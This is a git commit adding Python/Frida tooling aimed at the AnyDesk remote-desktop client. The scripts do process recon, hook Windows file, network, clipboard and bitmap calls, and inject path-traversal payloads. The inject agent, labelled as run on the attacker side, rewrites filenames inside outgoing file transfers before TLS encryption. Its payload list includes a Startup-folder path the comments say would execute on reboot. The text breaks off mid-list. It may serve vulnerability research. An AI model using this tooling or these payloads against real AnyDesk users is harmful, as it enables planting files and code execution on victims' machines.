initial commit

This commit is contained in:
i2p
2026-08-27 11:22:37 -06:00
commit 2f6dd314cb
46 changed files with 27949 additions and 0 deletions
+370
View File
@@ -0,0 +1,370 @@
"""
AnyDesk Process Recon
Enumerates loaded modules, TLS-related exports, and interesting functions.
Run this first to understand AnyDesk's internals.
"""
import frida
import sys
import json
import time
AGENT_CODE = r"""
'use strict';
// ============================================================
// Phase 1: Enumerate all loaded modules
// ============================================================
function enumModules() {
const mods = Process.enumerateModules();
const result = [];
for (const m of mods) {
result.push({
name: m.name,
base: m.base.toString(),
size: m.size,
path: m.path
});
}
return result;
}
// ============================================================
// Phase 2: Find TLS/crypto related exports across all modules
// ============================================================
function findTlsExports() {
const patterns = [
'SSL_read', 'SSL_write', 'SSL_new', 'SSL_connect',
'SSL_accept', 'SSL_free', 'SSL_CTX_new',
'EncryptMessage', 'DecryptMessage',
'SslEncryptPacket', 'SslDecryptPacket',
'BCryptEncrypt', 'BCryptDecrypt',
'CryptEncrypt', 'CryptDecrypt',
'mbedtls_ssl_read', 'mbedtls_ssl_write',
// Winsock
'send', 'recv', 'WSASend', 'WSARecv',
'sendto', 'recvfrom',
// File operations (for file transfer)
'CreateFileW', 'CreateFileA', 'WriteFile', 'ReadFile',
'MoveFileW', 'MoveFileExW', 'CopyFileW',
'CreateDirectoryW', 'RemoveDirectoryW',
// Memory alloc (for heap overflow detection)
'HeapAlloc', 'HeapFree', 'HeapReAlloc',
'VirtualAlloc', 'VirtualFree',
'malloc', 'free', 'realloc', 'calloc',
// Image/bitmap
'CreateDIBSection', 'SetDIBits', 'GetDIBits',
'CreateBitmap', 'CreateCompatibleBitmap',
// Clipboard
'SetClipboardData', 'GetClipboardData',
'OpenClipboard', 'CloseClipboard',
'EmptyClipboard',
];
const found = [];
const mods = Process.enumerateModules();
for (const m of mods) {
try {
const exports = m.enumerateExports();
for (const exp of exports) {
for (const pat of patterns) {
if (exp.name && exp.name.includes(pat)) {
found.push({
module: m.name,
name: exp.name,
address: exp.address.toString(),
type: exp.type
});
}
}
}
} catch (e) {
// Some modules can't be enumerated
}
}
return found;
}
// ============================================================
// Phase 3: Look for AnyDesk-specific strings in memory
// ============================================================
function findInterestingStrings() {
const mainModule = Process.enumerateModules()[0]; // AnyDesk.exe
const found = [];
const patterns = [
'DeskRT',
'file_transfer',
'FileTransfer',
'clipboard',
'Clipboard',
'identity',
'Identity',
'user_image',
'UserImage',
'avatar',
'codec',
'Codec',
'decompress',
'Decompress',
'decode_frame',
'DecodeFrame',
'bitmap',
'Bitmap',
'PNG',
'png_decode',
'traversal',
'path_sanitize',
'sanitize',
'validate_path',
'ad.security',
'ssl_ctx',
'TLS',
'handshake',
'Handshake',
];
for (const pat of patterns) {
try {
const matches = Memory.scanSync(mainModule.base, mainModule.size,
stringToPattern(pat));
if (matches.length > 0) {
found.push({
pattern: pat,
count: matches.length,
first_addr: matches[0].address.toString(),
// Read surrounding context
context: safeReadUtf8(matches[0].address.sub(16), 64)
});
}
} catch (e) {
// Scan failed for this pattern
}
}
return found;
}
function stringToPattern(str) {
let pat = '';
for (let i = 0; i < str.length; i++) {
if (i > 0) pat += ' ';
pat += str.charCodeAt(i).toString(16).padStart(2, '0');
}
return pat;
}
function safeReadUtf8(addr, len) {
try {
const buf = addr.readByteArray(len);
if (!buf) return '<null>';
const arr = new Uint8Array(buf);
let s = '';
for (let i = 0; i < arr.length; i++) {
const c = arr[i];
if (c >= 0x20 && c < 0x7f) s += String.fromCharCode(c);
else s += '.';
}
return s;
} catch (e) {
return '<unreadable>';
}
}
// ============================================================
// Phase 4: Scan for OpenSSL-style function tables
// ============================================================
function findOpenSSLIndicators() {
const mods = Process.enumerateModules();
const indicators = [];
for (const m of mods) {
const nameLower = m.name.toLowerCase();
if (nameLower.includes('ssl') || nameLower.includes('crypto') ||
nameLower.includes('tls') || nameLower.includes('openssl') ||
nameLower.includes('mbedtls') || nameLower.includes('boringssl') ||
nameLower.includes('libcrypto') || nameLower.includes('libssl') ||
nameLower.includes('schannel') || nameLower.includes('ncrypt') ||
nameLower.includes('bcrypt') || nameLower.includes('sspicli')) {
indicators.push({
name: m.name,
base: m.base.toString(),
size: m.size,
path: m.path
});
}
}
return indicators;
}
// ============================================================
// Run all phases
// ============================================================
const report = {};
send({type: 'status', msg: 'Phase 1: Enumerating modules...'});
report.modules = enumModules();
send({type: 'status', msg: `Found ${report.modules.length} modules`});
send({type: 'status', msg: 'Phase 2: Finding TLS/crypto exports...'});
report.tls_exports = findTlsExports();
send({type: 'status', msg: `Found ${report.tls_exports.length} interesting exports`});
send({type: 'status', msg: 'Phase 3: Scanning for interesting strings...'});
report.strings = findInterestingStrings();
send({type: 'status', msg: `Found ${report.strings.length} string patterns`});
send({type: 'status', msg: 'Phase 4: Looking for TLS library indicators...'});
report.tls_indicators = findOpenSSLIndicators();
send({type: 'status', msg: `Found ${report.tls_indicators.length} TLS-related modules`});
send({type: 'result', data: report});
"""
def on_message(message, data):
if message['type'] == 'send':
payload = message['payload']
if payload.get('type') == 'status':
print(f" [*] {payload['msg']}")
elif payload.get('type') == 'result':
global result_data
result_data = payload['data']
elif message['type'] == 'error':
print(f" [!] ERROR: {message['description']}")
def find_anydesk_pid():
"""Find AnyDesk process ID"""
import subprocess
try:
output = subprocess.check_output(
['tasklist', '/FI', 'IMAGENAME eq AnyDesk.exe', '/FO', 'CSV', '/NH'],
text=True, stderr=subprocess.DEVNULL
)
for line in output.strip().split('\n'):
if 'AnyDesk' in line:
parts = line.strip().strip('"').split('","')
if len(parts) >= 2:
return int(parts[1].strip('"'))
except:
pass
return None
def main():
global result_data
result_data = None
print("=" * 60)
print(" AnyDesk Process Recon")
print("=" * 60)
pid = find_anydesk_pid()
if not pid:
print("[!] AnyDesk.exe not found. Make sure it's running.")
sys.exit(1)
print(f"[+] Found AnyDesk.exe (PID: {pid})")
print(f"[+] Attaching Frida...")
try:
session = frida.attach(pid)
except frida.ProcessNotFoundError:
print("[!] Could not attach to AnyDesk. Run as Administrator.")
sys.exit(1)
except Exception as e:
print(f"[!] Frida attach failed: {e}")
print("[!] Make sure to run as Administrator.")
sys.exit(1)
print("[+] Injecting recon agent...")
script = session.create_script(AGENT_CODE, runtime='v8')
script.on('message', on_message)
script.load()
# Wait for results
timeout = 30
for i in range(timeout * 10):
if result_data is not None:
break
time.sleep(0.1)
if result_data is None:
print("[!] Timed out waiting for results")
session.detach()
sys.exit(1)
# Save and display results
output_path = "recon_results.json"
with open(output_path, 'w') as f:
json.dump(result_data, f, indent=2)
print(f"\n[+] Full results saved to {output_path}")
# Summary
print(f"\n{'=' * 60}")
print(" SUMMARY")
print(f"{'=' * 60}")
print(f"\n[Modules] {len(result_data['modules'])} loaded")
for m in result_data['modules'][:10]:
print(f" {m['name']:30s} @ {m['base']} ({m['size']:>10,} bytes)")
if len(result_data['modules']) > 10:
print(f" ... and {len(result_data['modules'])-10} more (see JSON)")
print(f"\n[TLS/Crypto Related Modules]")
if result_data['tls_indicators']:
for m in result_data['tls_indicators']:
print(f" {m['name']:30s} @ {m['base']} {m['path']}")
else:
print(" None found (AnyDesk may use statically linked TLS)")
print(f"\n[Interesting Exports] {len(result_data['tls_exports'])} found")
# Group by category
tls_funcs = [e for e in result_data['tls_exports']
if any(k in e['name'] for k in ['SSL_', 'Encrypt', 'Decrypt', 'mbedtls', 'Crypt'])]
net_funcs = [e for e in result_data['tls_exports']
if any(k in e['name'] for k in ['send', 'recv', 'WSA'])]
file_funcs = [e for e in result_data['tls_exports']
if any(k in e['name'] for k in ['CreateFile', 'WriteFile', 'ReadFile', 'MoveFile', 'CopyFile', 'Directory'])]
clip_funcs = [e for e in result_data['tls_exports']
if 'Clipboard' in e['name'] or 'clipboard' in e['name']]
img_funcs = [e for e in result_data['tls_exports']
if any(k in e['name'] for k in ['DIB', 'Bitmap', 'bitmap'])]
if tls_funcs:
print(f"\n TLS/Crypto ({len(tls_funcs)}):")
for e in tls_funcs[:15]:
print(f" {e['module']:20s} :: {e['name']:40s} @ {e['address']}")
if net_funcs:
print(f"\n Network ({len(net_funcs)}):")
for e in net_funcs[:10]:
print(f" {e['module']:20s} :: {e['name']:40s} @ {e['address']}")
if file_funcs:
print(f"\n File I/O ({len(file_funcs)}):")
for e in file_funcs[:10]:
print(f" {e['module']:20s} :: {e['name']:40s} @ {e['address']}")
if clip_funcs:
print(f"\n Clipboard ({len(clip_funcs)}):")
for e in clip_funcs:
print(f" {e['module']:20s} :: {e['name']:40s} @ {e['address']}")
if img_funcs:
print(f"\n Image/Bitmap ({len(img_funcs)}):")
for e in img_funcs:
print(f" {e['module']:20s} :: {e['name']:40s} @ {e['address']}")
print(f"\n[String Patterns in AnyDesk.exe]")
if result_data['strings']:
for s in result_data['strings']:
print(f" '{s['pattern']}'{s['count']} hits, first @ {s['first_addr']}")
if s['context']:
print(f" context: {s['context']}")
else:
print(" No patterns found in main module")
session.detach()
print(f"\n[+] Done. Review {output_path} for full details.")
print("[+] Next step: run 02_sniffer.py to capture protocol traffic")
if __name__ == '__main__':
main()
+248
View File
@@ -0,0 +1,248 @@
"""
AnyDesk Sniffer v4 — hooks ALL AnyDesk processes
"""
import frida
import sys
import os
import json
import time
import subprocess
from datetime import datetime
CAPTURE_DIR = "captures"
AGENT_CODE = r"""
var hookCount = 0;
function getExport(mod, name) {
try {
var m = Process.findModuleByName(mod);
if (!m) return null;
return m.findExportByName(name);
} catch(e) { return null; }
}
function analyzeBuffer(arr, len) {
var tags = [];
var run = 0, maxRun = 0, bestStr = '', curStr = '';
for (var i = 0; i < len; i++) {
var b = arr[i];
if (b >= 0x20 && b < 0x7f) { run++; curStr += String.fromCharCode(b); }
else { if (run > maxRun) { maxRun = run; bestStr = curStr; } run = 0; curStr = ''; }
}
if (run > maxRun) { maxRun = run; bestStr = curStr; }
if (maxRun > 10) tags.push('STR:' + bestStr.substring(0, 80));
if (len >= 8 && arr[0]===0x89 && arr[1]===0x50 && arr[2]===0x4E && arr[3]===0x47) tags.push('PNG');
if (len >= 2 && arr[0]===0x42 && arr[1]===0x4D) tags.push('BMP');
return tags;
}
// ---- FILE I/O ----
var p1 = getExport('KERNEL32.DLL', 'CreateFileW');
if (p1) { Interceptor.attach(p1, { onEnter: function(args) { try {
var path = args[0].readUtf16String(); if (!path) return;
var pl = path.toLowerCase();
if (pl.indexOf('\\device\\')!==-1||pl.indexOf('\\pipe\\')!==-1||pl.indexOf('condrv')!==-1||pl.indexOf('\\registry')!==-1) return;
var access = args[1].toInt32()>>>0, disp = args[4].toInt32();
var isW = (access&0x40000000)!==0||(access&0x2)!==0, isC = disp===1||disp===2||disp===4;
if (isW||isC||pl.indexOf('anydesk')!==-1||pl.indexOf('..')!==-1||pl.indexOf('desktop')!==-1||pl.indexOf('download')!==-1||pl.indexOf('startup')!==-1) {
var fl=[]; if(path.indexOf('..\\')!==-1)fl.push('TRAV_BS'); if(path.indexOf('../')!==-1)fl.push('TRAV_FS'); if(pl.indexOf('startup')!==-1)fl.push('STARTUP');
send({t:'file',op:'Create',path:path,w:isW,c:isC,fl:fl,ts:Date.now()});
}} catch(e){} }}); hookCount++; }
var p2 = getExport('KERNEL32.DLL', 'MoveFileExW');
if(p2){Interceptor.attach(p2,{onEnter:function(args){try{send({t:'move',src:args[0].readUtf16String(),dst:args[1].readUtf16String(),ts:Date.now()});}catch(e){}}});hookCount++;}
var p3 = getExport('KERNEL32.DLL', 'CopyFileW');
if(p3){Interceptor.attach(p3,{onEnter:function(args){try{send({t:'copy',src:args[0].readUtf16String(),dst:args[1].readUtf16String(),ts:Date.now()});}catch(e){}}});hookCount++;}
var p4 = getExport('KERNEL32.DLL', 'CreateDirectoryW');
if(p4){Interceptor.attach(p4,{onEnter:function(args){try{send({t:'mkdir',path:args[0].readUtf16String(),ts:Date.now()});}catch(e){}}});hookCount++;}
// ---- WriteFile ----
var p5 = getExport('KERNEL32.DLL', 'WriteFile');
if(p5){ var wc=0; Interceptor.attach(p5,{onEnter:function(args){
this.sz=args[2].toInt32(); if(this.sz>64&&wc<300){wc++;try{
var preview=args[1].readByteArray(Math.min(this.sz,64));var arr=new Uint8Array(preview);
var tags=analyzeBuffer(arr,arr.length);if(tags.length>0)send({t:'write',sz:this.sz,tags:tags,ts:Date.now()});
}catch(e){}}}}); hookCount++; }
// ---- GDI Bitmaps ----
var p6 = getExport('GDI32.dll', 'CreateDIBSection');
if(p6){Interceptor.attach(p6,{onEnter:function(args){try{var pbmi=args[1];if(pbmi.isNull())return;
var w=pbmi.add(4).readS32(),h=pbmi.add(8).readS32(),bpp=pbmi.add(14).readU16();
var alloc=Math.abs(w)*Math.abs(h)*(bpp/8);
send({t:'bmp',op:'DIB',w:w,h:h,bpp:bpp,alloc:alloc,ts:Date.now()});
if(Math.abs(w)>8192||Math.abs(h)>8192)send({t:'alert',m:'HUGE BMP '+w+'x'+h+'@'+bpp});
}catch(e){}}});hookCount++;}
var p7 = getExport('GDI32.dll', 'CreateCompatibleBitmap');
if(p7){Interceptor.attach(p7,{onEnter:function(args){var cx=args[1].toInt32(),cy=args[2].toInt32();
if(cx>0&&cy>0)send({t:'bmp',op:'Compat',w:cx,h:cy,bpp:0,alloc:0,ts:Date.now()});}});hookCount++;}
// ---- Clipboard ----
var p8=getExport('USER32.dll','SetClipboardData'),p9=getExport('USER32.dll','GetClipboardData');
var cfn={1:'TEXT',2:'BITMAP',7:'OEM',8:'DIB',13:'UNICODE',15:'HDROP',17:'DIBV5'};
if(p8){Interceptor.attach(p8,{onEnter:function(args){var f=args[0].toInt32();send({t:'clip',op:'SET',fmt:f,name:cfn[f]||('C'+f),ts:Date.now()});}});hookCount++;}
if(p9){Interceptor.attach(p9,{onEnter:function(args){this.f=args[0].toInt32();},onLeave:function(ret){if(!ret.isNull())send({t:'clip',op:'GET',fmt:this.f,name:cfn[this.f]||('C'+this.f),ts:Date.now()});}});hookCount++;}
// ---- ALL socket functions ----
var sc=0,rc=0,wsc=0,wrc=0;
var pS=getExport('WS2_32.dll','send');
if(pS){Interceptor.attach(pS,{onLeave:function(ret){var n=ret.toInt32();if(n>0){sc++;if(sc<=30||sc%100===0)send({t:'net',d:'S',sz:n,n:sc,ts:Date.now()});}}});hookCount++;}
var pR=getExport('WS2_32.dll','recv');
if(pR){Interceptor.attach(pR,{onLeave:function(ret){var n=ret.toInt32();if(n>0){rc++;if(rc<=30||rc%100===0)send({t:'net',d:'R',sz:n,n:rc,ts:Date.now()});}}});hookCount++;}
var pWS=getExport('WS2_32.dll','WSASend');
if(pWS){Interceptor.attach(pWS,{onEnter:function(args){try{var nBufs=args[2].toInt32(),lpBufs=args[1],total=0;
for(var i=0;i<nBufs;i++)total+=lpBufs.add(i*8).readU32();wsc++;
if(wsc<=30||wsc%100===0)send({t:'net',d:'WS',sz:total,n:wsc,ts:Date.now()});}catch(e){}}});hookCount++;}
var pWR=getExport('WS2_32.dll','WSARecv');
if(pWR){Interceptor.attach(pWR,{onEnter:function(args){try{var nBufs=args[2].toInt32(),lpBufs=args[1],total=0;
for(var i=0;i<nBufs;i++)total+=lpBufs.add(i*8).readU32();wrc++;
if(wrc<=30||wrc%100===0)send({t:'net',d:'WR',sz:total,n:wrc,ts:Date.now()});}catch(e){}}});hookCount++;}
// ---- Large heap alloc ----
var pH=getExport('ntdll.dll','RtlAllocateHeap');
if(pH){Interceptor.attach(pH,{onEnter:function(args){this.sz=args[2].toInt32()>>>0;},onLeave:function(ret){
if(this.sz>50*1024*1024)send({t:'alert',m:'BIG ALLOC '+(this.sz/1024/1024).toFixed(1)+'MB',ts:Date.now()});}});hookCount++;}
setInterval(function(){send({t:'stats',s:sc,r:rc,ws:wsc,wr:wrc,ts:Date.now()});},10000);
send({t:'log',m:hookCount+' hooks OK'});
send({t:'ready'});
"""
class Capture:
def __init__(self, d):
self.d = d; os.makedirs(d, exist_ok=True)
self.ev = []; self.ready_count = 0; self.t0 = time.time()
def on_msg(self, pid, msg, data):
if msg['type'] == 'send':
p = msg['payload']
t = p.get('t','')
ts = (p.get('ts', self.t0*1000)/1000) - self.t0
tag = f"P{pid}"
if t == 'log': print(f" [{tag}] {p['m']}")
elif t == 'ready': self.ready_count += 1
elif t == 'file':
fl = ' '.join(f'[{f}]' for f in p.get('fl',[]))
m = 'W' if p.get('w') else 'R'; c = '+C' if p.get('c') else ''
print(f" [{ts:7.2f}s] [{tag}] [FILE {m}{c}] {p['path']} {fl}")
self.ev.append({**p, 'pid': pid})
elif t == 'move':
print(f" [{ts:7.2f}s] [{tag}] [MOVE] {p['src']} -> {p['dst']}")
self.ev.append({**p, 'pid': pid})
elif t == 'copy':
print(f" [{ts:7.2f}s] [{tag}] [COPY] {p['src']} -> {p['dst']}")
self.ev.append({**p, 'pid': pid})
elif t == 'mkdir':
print(f" [{ts:7.2f}s] [{tag}] [MKDIR] {p['path']}")
self.ev.append({**p, 'pid': pid})
elif t == 'write':
tg = ', '.join(p.get('tags',[]))
if tg: print(f" [{ts:7.2f}s] [{tag}] [WRITE] {p['sz']}b {tg}")
self.ev.append({**p, 'pid': pid})
elif t == 'bmp':
print(f" [{ts:7.2f}s] [{tag}] [BITMAP] {p['op']} {p['w']}x{p['h']} @{p['bpp']}bpp ({p['alloc']:,.0f}b)")
self.ev.append({**p, 'pid': pid})
elif t == 'clip':
print(f" [{ts:7.2f}s] [{tag}] [CLIP] {p['op']} {p['name']}")
self.ev.append({**p, 'pid': pid})
elif t == 'net':
print(f" [{ts:7.2f}s] [{tag}] [NET] {p['d']} {p['sz']}b #{p['n']}")
self.ev.append({**p, 'pid': pid})
elif t == 'alert':
print(f"\n {'!'*50}\n [{tag}] ALERT: {p['m']}\n {'!'*50}\n")
self.ev.append({**p, 'pid': pid})
elif t == 'stats':
total = p['s'] + p['r'] + p.get('ws',0) + p.get('wr',0)
if total > 0: # Only print stats if there's activity
print(f" [{ts:7.2f}s] [{tag}] send={p['s']} recv={p['r']} WSASend={p.get('ws',0)} WSARecv={p.get('wr',0)}")
elif msg['type'] == 'error':
print(f" [P{pid}] ERROR: {msg['description']}")
def save(self):
path = os.path.join(self.d, "capture.json")
with open(path, 'w') as f:
json.dump({'dur': time.time()-self.t0, 'events': self.ev}, f, indent=2)
fi = [e for e in self.ev if e.get('t')=='file']
bm = [e for e in self.ev if e.get('t')=='bmp']
cl = [e for e in self.ev if e.get('t')=='clip']
nt = [e for e in self.ev if e.get('t')=='net']
al = [e for e in self.ev if e.get('t')=='alert']
print(f"\n[+] {len(self.ev)} events -> {path}")
print(f" Files:{len(fi)} Bitmaps:{len(bm)} Clip:{len(cl)} Net:{len(nt)} Alerts:{len(al)}")
def find_all_pids():
out = subprocess.check_output(
['tasklist', '/FI', 'IMAGENAME eq AnyDesk.exe', '/FO', 'CSV', '/NH'],
text=True, stderr=subprocess.DEVNULL)
pids = []
for line in out.strip().split('\n'):
if 'AnyDesk' in line:
parts = line.strip().strip('"').split('","')
if len(parts) >= 2:
pids.append(int(parts[1].strip('"')))
return pids
def main():
print("=" * 60)
print(" AnyDesk Sniffer v4 — ALL processes")
print("=" * 60)
pids = find_all_pids()
if not pids:
print("[!] No AnyDesk processes found")
sys.exit(1)
print(f"[+] Found {len(pids)} AnyDesk processes: {pids}")
ts = datetime.now().strftime('%Y%m%d_%H%M%S')
cap = Capture(os.path.join(CAPTURE_DIR, f"cap_{ts}"))
sessions = []
scripts = []
for pid in pids:
try:
print(f"[+] Attaching to PID {pid}...")
session = frida.attach(pid)
script = session.create_script(AGENT_CODE, runtime='v8')
script.on('message', lambda msg, data, p=pid: cap.on_msg(p, msg, data))
script.load()
sessions.append(session)
scripts.append(script)
print(f"[+] PID {pid} hooked")
except Exception as e:
print(f"[!] PID {pid} failed: {e}")
# Wait for all to be ready
for _ in range(100):
if cap.ready_count >= len(scripts):
break
time.sleep(0.1)
print(f"\n{'='*60}")
print(f" {cap.ready_count}/{len(scripts)} agents ready")
print(" NOW: connect from VM, transfer files, move mouse")
print(" Ctrl+C to stop")
print(f"{'='*60}\n")
try:
while True:
time.sleep(0.1)
except KeyboardInterrupt:
print("\n[+] Stopping...")
cap.save()
for s in sessions:
try:
s.detach()
except:
pass
if __name__ == '__main__':
main()
+495
View File
@@ -0,0 +1,495 @@
"""
AnyDesk File Transfer Path Traversal Tester
Hooks the receiving side's file write operations and tests if AnyDesk
sanitizes filenames from the sender. Also hooks the sending side to
inject traversal paths into outgoing file transfer data.
PHASE 1: Run on VICTIM (receiving side) - monitors where files get written
PHASE 2: Run on ATTACKER (sending side) - injects traversal paths into protocol
Usage:
python 03_traversal.py --phase monitor (run on victim, then transfer a file)
python 03_traversal.py --phase inject (run on attacker, then transfer a file)
"""
import frida
import sys
import os
import json
import time
import argparse
from datetime import datetime
# ============================================================
# Phase 1: Monitor Agent — runs on the RECEIVING (victim) side
# Logs every file creation to see where AnyDesk writes files
# ============================================================
MONITOR_AGENT = r"""
'use strict';
const watchPaths = [];
let fileOps = [];
// Hook CreateFileW to see ALL file creations
const CreateFileW = Module.findExportByName('kernel32.dll', 'CreateFileW');
const CreateDirectoryW = Module.findExportByName('kernel32.dll', 'CreateDirectoryW');
const MoveFileW = Module.findExportByName('kernel32.dll', 'MoveFileW');
const MoveFileExW = Module.findExportByName('kernel32.dll', 'MoveFileExW');
const CopyFileW = Module.findExportByName('kernel32.dll', 'CopyFileW');
// Filter noise: only log paths that might be user files or interesting
function isInteresting(path) {
if (!path) return false;
const p = path.toLowerCase();
// Skip system noise
if (p.includes('\\device\\')) return false;
if (p.includes('\\pipe\\')) return false;
if (p.includes('\\windows\\system32\\')) return false;
if (p.includes('\\windows\\syswow64\\')) return false;
if (p.includes('\\appdata\\local\\temp\\') && p.includes('anydesk')) return true; // AnyDesk temp files are interesting
if (p.includes('anydesk')) return true;
// User profile paths
if (p.includes('\\users\\')) return true;
if (p.includes('\\desktop\\')) return true;
if (p.includes('\\downloads\\')) return true;
if (p.includes('\\documents\\')) return true;
if (p.includes('\\startup\\')) return true;
// Traversal indicators
if (p.includes('..')) return true;
return false;
}
function checkTraversal(path) {
const flags = [];
if (path.includes('..\\')) flags.push('BACKSLASH_TRAVERSAL');
if (path.includes('../')) flags.push('FORWARDSLASH_TRAVERSAL');
if (path.includes('..%5c')) flags.push('ENCODED_TRAVERSAL');
if (path.includes('..%2f')) flags.push('ENCODED_TRAVERSAL');
if (path.toLowerCase().includes('startup')) flags.push('STARTUP_FOLDER');
if (path.toLowerCase().includes('start menu')) flags.push('START_MENU');
return flags;
}
if (CreateFileW) {
Interceptor.attach(CreateFileW, {
onEnter(args) {
const path = args[0].readUtf16String();
if (isInteresting(path)) {
const traversalFlags = checkTraversal(path);
const access = args[1].toInt32();
const disposition = args[4].toInt32();
// GENERIC_WRITE or CREATE_ALWAYS/CREATE_NEW/OPEN_ALWAYS
const isWrite = (access & 0x40000000) !== 0 ||
(access & 0x00000002) !== 0; // FILE_WRITE_DATA
const isCreate = disposition === 1 || disposition === 2 ||
disposition === 4; // CREATE_NEW, CREATE_ALWAYS, OPEN_ALWAYS
const op = {
type: 'CreateFileW',
path: path,
isWrite: isWrite,
isCreate: isCreate,
access: '0x' + (access >>> 0).toString(16),
disposition: disposition,
traversalFlags: traversalFlags,
timestamp: Date.now(),
stack: Thread.backtrace(this.context, Backtracer.ACCURATE)
.map(DebugSymbol.fromAddress).join('\n')
};
send({type: 'file_op', data: op});
if (traversalFlags.length > 0) {
send({type: 'alert', msg: `TRAVERSAL DETECTED: ${path}`, flags: traversalFlags});
}
if (isWrite && isCreate) {
send({type: 'file_create', path: path, traversalFlags: traversalFlags});
}
}
}
});
}
if (MoveFileW) {
Interceptor.attach(MoveFileW, {
onEnter(args) {
const src = args[0].readUtf16String();
const dst = args[1].readUtf16String();
send({type: 'file_move', src: src, dst: dst, timestamp: Date.now()});
}
});
}
if (MoveFileExW) {
Interceptor.attach(MoveFileExW, {
onEnter(args) {
const src = args[0].readUtf16String();
const dst = args[1].readUtf16String();
send({type: 'file_move', src: src, dst: dst, timestamp: Date.now()});
}
});
}
if (CopyFileW) {
Interceptor.attach(CopyFileW, {
onEnter(args) {
const src = args[0].readUtf16String();
const dst = args[1].readUtf16String();
send({type: 'file_copy', src: src, dst: dst, timestamp: Date.now()});
}
});
}
if (CreateDirectoryW) {
Interceptor.attach(CreateDirectoryW, {
onEnter(args) {
const path = args[0].readUtf16String();
if (isInteresting(path)) {
send({type: 'dir_create', path: path, timestamp: Date.now()});
}
}
});
}
send({type: 'status', msg: 'File monitor active. Transfer a file via AnyDesk now...'});
send({type: 'ready'});
""";
# ============================================================
# Phase 2: Inject Agent — runs on the SENDING (attacker) side
# Hooks TLS send to find and replace filenames with traversal paths
# ============================================================
INJECT_AGENT = r"""
'use strict';
const TRAVERSAL_PAYLOADS = %PAYLOADS%;
let currentPayloadIdx = 0;
let injectionCount = 0;
// The filename we're looking for (set by Python controller)
const TARGET_FILENAME = '%TARGET_FILENAME%';
const TARGET_FILENAME_WIDE = '%TARGET_FILENAME%'; // Will search for both UTF-8 and UTF-16
function findAndReplace(buf, searchStr, replaceStr) {
const arr = new Uint8Array(buf);
// Search for UTF-8 string
const searchBytes = [];
for (let i = 0; i < searchStr.length; i++) {
searchBytes.push(searchStr.charCodeAt(i));
}
// Search for UTF-16LE string
const searchBytesWide = [];
for (let i = 0; i < searchStr.length; i++) {
searchBytesWide.push(searchStr.charCodeAt(i));
searchBytesWide.push(0);
}
let found = false;
// Try UTF-8
for (let i = 0; i <= arr.length - searchBytes.length; i++) {
let match = true;
for (let j = 0; j < searchBytes.length; j++) {
if (arr[i + j] !== searchBytes[j]) { match = false; break; }
}
if (match) {
send({type: 'injection', encoding: 'UTF-8', offset: i,
original: searchStr, replacement: replaceStr});
// Replace with traversal payload (UTF-8)
const replaceBytes = [];
for (let k = 0; k < replaceStr.length; k++) {
replaceBytes.push(replaceStr.charCodeAt(k));
}
// Pad with nulls if replacement is shorter
for (let k = 0; k < searchBytes.length; k++) {
arr[i + k] = k < replaceBytes.length ? replaceBytes[k] : 0;
}
found = true;
break;
}
}
// Try UTF-16LE
if (!found) {
for (let i = 0; i <= arr.length - searchBytesWide.length; i++) {
let match = true;
for (let j = 0; j < searchBytesWide.length; j++) {
if (arr[i + j] !== searchBytesWide[j]) { match = false; break; }
}
if (match) {
send({type: 'injection', encoding: 'UTF-16LE', offset: i,
original: searchStr, replacement: replaceStr});
// Replace with traversal payload (UTF-16LE)
const replaceBytesWide = [];
for (let k = 0; k < replaceStr.length; k++) {
replaceBytesWide.push(replaceStr.charCodeAt(k));
replaceBytesWide.push(0);
}
for (let k = 0; k < searchBytesWide.length; k++) {
arr[i + k] = k < replaceBytesWide.length ? replaceBytesWide[k] : 0;
}
found = true;
break;
}
}
}
return found;
}
// Hook EncryptMessage (SChannel) — modify data BEFORE encryption
const EncryptMessage = Module.findExportByName('sspicli.dll', 'EncryptMessage') ||
Module.findExportByName('secur32.dll', 'EncryptMessage');
if (EncryptMessage) {
Interceptor.attach(EncryptMessage, {
onEnter(args) {
const pBufDesc = args[2];
try {
const cBuffers = pBufDesc.add(4).readU32();
const pBuffers = pBufDesc.add(8).readPointer();
for (let i = 0; i < cBuffers; i++) {
const bufPtr = pBuffers.add(i * 16);
const cbBuffer = bufPtr.readU32();
const bufType = bufPtr.add(4).readU32();
const pvBuffer = bufPtr.add(8).readPointer();
if (bufType === 1 && cbBuffer > 0 && cbBuffer < 1024 * 1024) {
const data = pvBuffer.readByteArray(cbBuffer);
const payload = TRAVERSAL_PAYLOADS[currentPayloadIdx % TRAVERSAL_PAYLOADS.length];
if (findAndReplace(data, TARGET_FILENAME, payload)) {
pvBuffer.writeByteArray(data);
injectionCount++;
currentPayloadIdx++;
send({type: 'injected', count: injectionCount, payload: payload});
}
}
}
} catch(e) {}
}
});
send({type: 'status', msg: 'Hooked EncryptMessage for injection (SChannel)'});
}
// Also try OpenSSL hooks
const mods = Process.enumerateModules();
for (const m of mods) {
if (m.name.toLowerCase().includes('ssl') || m.name.toLowerCase().includes('crypto')) {
try {
const exports = m.enumerateExports();
for (const exp of exports) {
if (exp.name === 'SSL_write') {
Interceptor.attach(exp.address, {
onEnter(args) {
const buf = args[1];
const len = args[2].toInt32();
if (len > 0 && len < 1024 * 1024) {
const data = buf.readByteArray(len);
const payload = TRAVERSAL_PAYLOADS[currentPayloadIdx % TRAVERSAL_PAYLOADS.length];
if (findAndReplace(data, TARGET_FILENAME, payload)) {
buf.writeByteArray(data);
injectionCount++;
currentPayloadIdx++;
send({type: 'injected', count: injectionCount, payload: payload});
}
}
}
});
send({type: 'status', msg: `Hooked ${exp.name} for injection (OpenSSL)`});
}
}
} catch(e) {}
}
}
send({type: 'status', msg: `Injection armed. Target filename: "${TARGET_FILENAME}"`});
send({type: 'status', msg: `${TRAVERSAL_PAYLOADS.length} traversal payloads loaded. Send a file transfer now...`});
send({type: 'ready'});
""";
# Traversal payloads to test
TRAVERSAL_PAYLOADS = [
# Basic backslash traversal
"..\\..\\..\\..\\Users\\Public\\Desktop\\traversal_test.txt",
# Forward slash
"../../../../Users/Public/Desktop/traversal_test2.txt",
# Mixed separators
"..\\..\\..\\..\\Users/Public/Desktop/traversal_test3.txt",
# Startup folder (would execute on reboot)
"..\\..\\..\\..\\Users\\Public\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\test.txt",
# Double encoding
"..%5c..%5c..%5c..%5cUsers%5cPublic%5cDesktop%5ctraversal_test4.txt",
# Unicode fullwidth backslash (U+FF3C)
"..\uff3c..\uff3c..\uff3c..\uff3cUsers\uff3cPublic\uff3cDesktop\uff3ctraversal_test5.txt",
# Null byte truncation
